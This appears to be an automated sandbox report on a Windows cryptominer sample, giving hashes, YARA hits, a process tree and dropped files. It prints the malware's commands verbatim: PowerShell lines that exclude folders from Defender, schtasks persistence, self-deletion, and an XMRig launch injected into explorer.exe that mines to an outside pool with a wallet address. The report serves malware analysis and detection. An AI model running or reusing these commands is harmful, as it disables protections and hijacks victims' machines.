Analysis
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max time kernel
1s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
26/12/2023, 12:44
Static task
static1
Behavioral task
behavioral1
Sample
6f7219715d28fc70c643a533dc18ae59.exe
Resource
win7-20231129-en
General
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Target
6f7219715d28fc70c643a533dc18ae59.exe
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Size
181KB
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MD5
6f7219715d28fc70c643a533dc18ae59
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SHA1
d8564e27b1011742e3ec319e8c82799e09f8de32
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SHA256
a2da5599a60e8ac42be25c62590b16ead68662e9aa058bb34dd92203c1d5258f
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SHA512
446314df4b428ec68d51f1fa24b7cbb07f794b74fc3a8ffda83513a05ca63114925c40ba412d9a2f48f51e25e950ef3181766a8b9e9c50542acda98575ff743d
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SSDEEP
3072:IUK7uTpRT+svVghXku4kzxS6nFMO7DlYH3oeuOV5bY98gCGT5rWzs/lls:pKyFRTbv6hSYx/6O7DlYXoS3bA8gCGTL
Malware Config
Signatures
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XMRig Miner payload 15 IoCs
resource yara_rule behavioral2/memory/1000-189-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-196-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-198-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-199-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-197-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-195-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-193-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-191-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-190-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-200-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-201-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-203-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-204-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-205-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1000-206-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4940 schtasks.exe 3256 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 756 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4568 wrote to memory of 748 4568 6f7219715d28fc70c643a533dc18ae59.exe 88 PID 4568 wrote to memory of 748 4568 6f7219715d28fc70c643a533dc18ae59.exe 88 PID 748 wrote to memory of 756 748 cmd.exe 90 PID 748 wrote to memory of 756 748 cmd.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\6f7219715d28fc70c643a533dc18ae59.exe"C:\Users\Admin\AppData\Local\Temp\6f7219715d28fc70c643a533dc18ae59.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:756
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'3⤵PID:404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'3⤵PID:4216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'3⤵PID:3348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\6f7219715d28fc70c643a533dc18ae59.exe"2⤵PID:760
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C:\Users\Admin\AppData\Local\Temp\svchost64.exeC:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\6f7219715d28fc70c643a533dc18ae59.exe"1⤵PID:3752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "iservices64" /tr '"C:\Users\Admin\AppData\Roaming\iservices64.exe"' & exit2⤵PID:3496
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C:\Users\Admin\AppData\Roaming\iservices64.exe"C:\Users\Admin\AppData\Roaming\iservices64.exe"2⤵PID:4008
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit3⤵PID:3556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵PID:2020
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'4⤵PID:2168
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'4⤵PID:444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Roaming\iservices64.exe"3⤵PID:3404
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C:\Users\Admin\AppData\Local\Temp\svchost64.exeC:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Roaming\iservices64.exe"4⤵PID:1264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "iservices64" /tr '"C:\Users\Admin\AppData\Roaming\iservices64.exe"' & exit5⤵PID:2032
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C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵PID:2936
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C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=49axpQBmNV26hPsjUZLfcDiuA7ojjMLpw3yi5b1ctbxfXkQwjCReJ9fGReMLE4Xba4LdkHdfZtduEiJbtZeYGvYJA7kFLnk --pass= --cpu-max-threads-hint=50 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6D/kfSIUzd5l3u8L1pjMshOBtlSZ9jBIi41GFvyT9Uti" --cinit-idle-wait=2 --cinit-idle-cpu=90 --tls --cinit-stealth5⤵PID:1000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"5⤵PID:5072
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C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:2468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"2⤵PID:3148
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C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1716
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "iservices64" /tr '"C:\Users\Admin\AppData\Roaming\iservices64.exe"'1⤵
- Creates scheduled task(s)
PID:3256
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'1⤵PID:2072
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "iservices64" /tr '"C:\Users\Admin\AppData\Roaming\iservices64.exe"'1⤵
- Creates scheduled task(s)
PID:4940
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9